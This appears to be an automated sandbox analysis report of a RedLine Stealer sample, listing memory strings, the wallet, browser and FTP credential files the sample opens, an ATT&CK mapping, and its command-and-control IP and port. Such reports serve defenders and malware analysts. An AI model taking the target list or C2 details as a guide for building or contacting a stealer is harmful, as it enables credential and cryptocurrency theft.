Source: Yara match	File source: 00000007.00000002.1431123502.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1432476685.00000000031E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1530009527.00000213DBEF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Preventivo#09678.exe PID: 5092, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jsc.exe PID: 6936, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Preventivo#09678.exe, 00000000.00000002.1530009527.00000213DBEF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [^\u0020-\u007F]ProcessIdname_on_cardencrypted_valuehttps://ipinfo.io/ip%appdata%\logins{0}\FileZilla\recentservers.xml%appdata%\discord\Local Storage\leveldb\tdataAtomicWalletv10/C \EtFile.IOhereuFile.IOm\walFile.IOletsESystem.UItherSystem.UIeumElectrum[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}profiles\Windows\valueexpiras21ation_moas21nth
Source: jsc.exe, 00000007.00000002.1432476685.00000000034CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q5C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: Preventivo#09678.exe, 00000000.00000002.1530009527.00000213DBEF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: Preventivo#09678.exe, 00000000.00000002.1530009527.00000213DBEF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: jsc.exe, 00000007.00000002.1432476685.00000000034CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\wallets
Source: Preventivo#09678.exe, 00000000.00000002.1530009527.00000213DBEF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: jsc.exe, 00000007.00000002.1432476685.00000000034CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereumd
Source: jsc.exe, 00000007.00000002.1432476685.00000000034CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q9C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*
Source: Preventivo#09678.exe, 00000000.00000002.1517860910.00000213CB540000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: SQLCOLUMNENCRYPTIONKEYSTOREPROVIDER6440DF7D

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: 7.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Preventivo#09678.exe.213dbf0c578.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Preventivo#09678.exe.213dbf0c578.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Preventivo#09678.exe.213dbf243c0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Preventivo#09678.exe.213dbf243c0.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1431123502.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1530009527.00000213DBEF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Preventivo#09678.exe PID: 5092, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jsc.exe PID: 6936, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 7.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Preventivo#09678.exe.213dbf0c578.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Preventivo#09678.exe.213dbf0c578.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Preventivo#09678.exe.213dbf243c0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Preventivo#09678.exe.213dbf243c0.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1431123502.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1432476685.00000000031E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1530009527.00000213DBEF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Preventivo#09678.exe PID: 5092, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jsc.exe PID: 6936, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	1 Masquerading	1 OS Credential Dumping	341 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	3 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	251 Virtualization/Sandbox Evasion	Security Account Manager	251 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	311 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	113 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Preventivo#09678.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://193.70.111.186:13484t-	0%	Avira URL Cloud	safe
http://193.70.111.186:13484/	0%	Avira URL Cloud	safe
193.70.111.186:13484	0%	Avira URL Cloud	safe
http://193.70.111.186:13484	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
193.70.111.186:13484	true	Avira URL Cloud: safe	unknown
http://193.70.111.186:13484/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	Preventivo#09678.exe, 00000000.00000002.1530009527.00000213DBEF4000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, jsc.exe, 00000007.00000002.1431123502.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	jsc.exe, 00000007.00000002.1433976735.0000000004380000.00000004.00000800.00020000.00000000.sdmp, tmpD714.tmp.7.dr, tmpFEF.tmp.7.dr, tmp4809.tmp.7.dr, tmpF8B.tmp.7.dr, tmpFBC.tmp.7.dr, tmpFCD.tmp.7.dr, tmp47F8.tmp.7.dr, tmpFDF.tmp.7.dr, tmpFAC.tmp.7.dr, tmpF9B.tmp.7.dr, tmpFCE.tmp.7.dr, tmpD713.tmp.7.dr	false		high
https://duckduckgo.com/ac/?q=	jsc.exe, 00000007.00000002.1433976735.0000000004380000.00000004.00000800.00020000.00000000.sdmp, tmpD714.tmp.7.dr, tmpFEF.tmp.7.dr, tmp4809.tmp.7.dr, tmpF8B.tmp.7.dr, tmpFBC.tmp.7.dr, tmpFCD.tmp.7.dr, tmp47F8.tmp.7.dr, tmpFDF.tmp.7.dr, tmpFAC.tmp.7.dr, tmpF9B.tmp.7.dr, tmpFCE.tmp.7.dr, tmpD713.tmp.7.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	jsc.exe, 00000007.00000002.1433976735.0000000004380000.00000004.00000800.00020000.00000000.sdmp, tmpD714.tmp.7.dr, tmpFEF.tmp.7.dr, tmp4809.tmp.7.dr, tmpF8B.tmp.7.dr, tmpFBC.tmp.7.dr, tmpFCD.tmp.7.dr, tmp47F8.tmp.7.dr, tmpFDF.tmp.7.dr, tmpFAC.tmp.7.dr, tmpF9B.tmp.7.dr, tmpFCE.tmp.7.dr, tmpD713.tmp.7.dr	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnectResponse	jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.datacontract.org/2004/07/	jsc.exe, 00000007.00000002.1432476685.00000000034CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	false		high
http://193.70.111.186:13484	jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000007.00000002.1432476685.00000000034CF000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000007.00000002.1432476685.00000000032BB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettings	jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000007.00000002.1432476685.00000000031E0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	jsc.exe, jsc.exe, 00000007.00000002.1431123502.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	jsc.exe, 00000007.00000002.1432476685.00000000031E0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	jsc.exe, 00000007.00000002.1433976735.0000000004380000.00000004.00000800.00020000.00000000.sdmp, tmpD714.tmp.7.dr, tmpFEF.tmp.7.dr, tmp4809.tmp.7.dr, tmpF8B.tmp.7.dr, tmpFBC.tmp.7.dr, tmpFCD.tmp.7.dr, tmp47F8.tmp.7.dr, tmpFDF.tmp.7.dr, tmpFAC.tmp.7.dr, tmpF9B.tmp.7.dr, tmpFCE.tmp.7.dr, tmpD713.tmp.7.dr	false		high
http://tempuri.org/	jsc.exe, 00000007.00000002.1432476685.00000000032BB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.11.dr	false		high
http://tempuri.org/Endpoint/CheckConnect	jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	jsc.exe, 00000007.00000002.1433976735.0000000004380000.00000004.00000800.00020000.00000000.sdmp, tmpD714.tmp.7.dr, tmpFEF.tmp.7.dr, tmp4809.tmp.7.dr, tmpF8B.tmp.7.dr, tmpFBC.tmp.7.dr, tmpFCD.tmp.7.dr, tmp47F8.tmp.7.dr, tmpFDF.tmp.7.dr, tmpFAC.tmp.7.dr, tmpF9B.tmp.7.dr, tmpFCE.tmp.7.dr, tmpD713.tmp.7.dr	false		high
http://193.70.111.186:13484t-	jsc.exe, 00000007.00000002.1432476685.00000000032BB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	jsc.exe, 00000007.00000002.1433976735.0000000004380000.00000004.00000800.00020000.00000000.sdmp, tmpD714.tmp.7.dr, tmpFEF.tmp.7.dr, tmp4809.tmp.7.dr, tmpF8B.tmp.7.dr, tmpFBC.tmp.7.dr, tmpFCD.tmp.7.dr, tmp47F8.tmp.7.dr, tmpFDF.tmp.7.dr, tmpFAC.tmp.7.dr, tmpF9B.tmp.7.dr, tmpFCE.tmp.7.dr, tmpD713.tmp.7.dr	false		high
http://tempuri.org/Endpoint/VerifyUpdateResponse	jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/SetEnvironment	jsc.exe, 00000007.00000002.1432476685.00000000034CF000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000007.00000002.1432476685.0000000003719000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/SetEnvironmentResponse	jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/GetUpdates	jsc.exe, 00000007.00000002.1432476685.00000000032BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	jsc.exe, 00000007.00000002.1433976735.0000000004380000.00000004.00000800.00020000.00000000.sdmp, tmpD714.tmp.7.dr, tmpFEF.tmp.7.dr, tmp4809.tmp.7.dr, tmpF8B.tmp.7.dr, tmpFBC.tmp.7.dr, tmpFCD.tmp.7.dr, tmp47F8.tmp.7.dr, tmpFDF.tmp.7.dr, tmpFAC.tmp.7.dr, tmpF9B.tmp.7.dr, tmpFCE.tmp.7.dr, tmpD713.tmp.7.dr	false		high
https://api.ipify.orgcookies//settinString.Removeg	jsc.exe, jsc.exe, 00000007.00000002.1431123502.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/GetUpdatesResponse	jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	jsc.exe, 00000007.00000002.1433976735.0000000004380000.00000004.00000800.00020000.00000000.sdmp, tmpD714.tmp.7.dr, tmpFEF.tmp.7.dr, tmp4809.tmp.7.dr, tmpF8B.tmp.7.dr, tmpFBC.tmp.7.dr, tmpFCD.tmp.7.dr, tmp47F8.tmp.7.dr, tmpFDF.tmp.7.dr, tmpFAC.tmp.7.dr, tmpF9B.tmp.7.dr, tmpFCE.tmp.7.dr, tmpD713.tmp.7.dr	false		high
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/VerifyUpdate	jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/0	jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	jsc.exe, 00000007.00000002.1433976735.0000000004380000.00000004.00000800.00020000.00000000.sdmp, tmpD714.tmp.7.dr, tmpFEF.tmp.7.dr, tmp4809.tmp.7.dr, tmpF8B.tmp.7.dr, tmpFBC.tmp.7.dr, tmpFCD.tmp.7.dr, tmp47F8.tmp.7.dr, tmpFDF.tmp.7.dr, tmpFAC.tmp.7.dr, tmpF9B.tmp.7.dr, tmpFCE.tmp.7.dr, tmpD713.tmp.7.dr	false		high
http://schemas.xmlsoap.org/soap/actor/next	jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.70.111.186	unknown	France		16276	OVHFR	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1555180
Start date and time:	2024-11-13 15:01:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Preventivo#09678.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@5/50@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 91% Number of executed functions: 61 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.26.12.31, 172.67.75.172, 104.26.13.31, 20.42.73.29
Excluded domains from analysis (whitelisted): api.ip.sb.cdn.cloudflare.net, login.live.com, otelrules.azureedge.net, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: Preventivo#09678.exe

Simulations

Behavior and APIs

Time	Type	Description
09:02:33	API Interceptor	42x Sleep call for process: jsc.exe modified
10:04:50	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.70.111.186	QUOTATION#09678.exe	Get hash	malicious	RedLine	Browse	193.70.111.186:13484/
	RFQ_TFS-1508-AL NASR ENGINEERING.exe	Get hash	malicious	RedLine	Browse	193.70.111.186:13484/
	QUOTATION#09678.exe	Get hash	malicious	RedLine	Browse	193.70.111.186:13484/
	COTIZACI#U00d3N#09678.exe	Get hash	malicious	RedLine	Browse	193.70.111.186:13484/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OVHFR	SecurityHealthService.exe	Get hash	malicious	AsyncRAT, DarkTortilla, XWorm	Browse	213.32.110.214
	meerkat.ppc.elf	Get hash	malicious	Mirai	Browse	144.2.61.131
	QUOTATION#09678.exe	Get hash	malicious	RedLine	Browse	193.70.111.186
	x.exe	Get hash	malicious	AgentTesla, DBatLoader	Browse	51.195.88.199
	neworigin.exe	Get hash	malicious	AgentTesla	Browse	51.195.88.199
	TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	51.195.88.199
	https://sharepoint-business.com/?rid=eprRhgr	Get hash	malicious	Unknown	Browse	51.178.43.144
	http://matomo.uk.oxa.cloud	Get hash	malicious	Unknown	Browse	51.195.180.103
	zgp.elf	Get hash	malicious	Mirai	Browse	51.222.237.206
	mNtu4X8ZyE.exe	Get hash	malicious	Emotet	Browse	51.75.33.127

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Preventivo#09678_94f6bbbdc68a34d48fcce9aab1a64036c9bb21_275c6d1b_c344c99d-faf4-462c-846b-e2080a1d818c\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1383003010249666
Encrypted:	false
SSDEEP:	192:7EBe6/Mplfi0OJRx4aWz3OlTw7ZF8OEzzuiFTZ24lO8K:ABe6/IlxOJRqa4oXdzuiFTY4lO8K
MD5:	787594A7D09949518413BB37A755DE36
SHA1:	205A5FA8653265850D97EB42DCAE18D897DAAFC5
SHA-256:	27FBC52CCA2C29C29FC29D7E87FB4BE119F87B26E7B7298AF910EFF53042A2F3
SHA-512:	5A607F9C4B749B91421AC1021A969F321CE0A1BD639E6FB261FD281988CA8818FD26DCA7AFA0362818F4EB5DFBFBD9A2BDA26E114744D8F74B016DBF3E9163C2
Malicious:	false
Reputation:	low
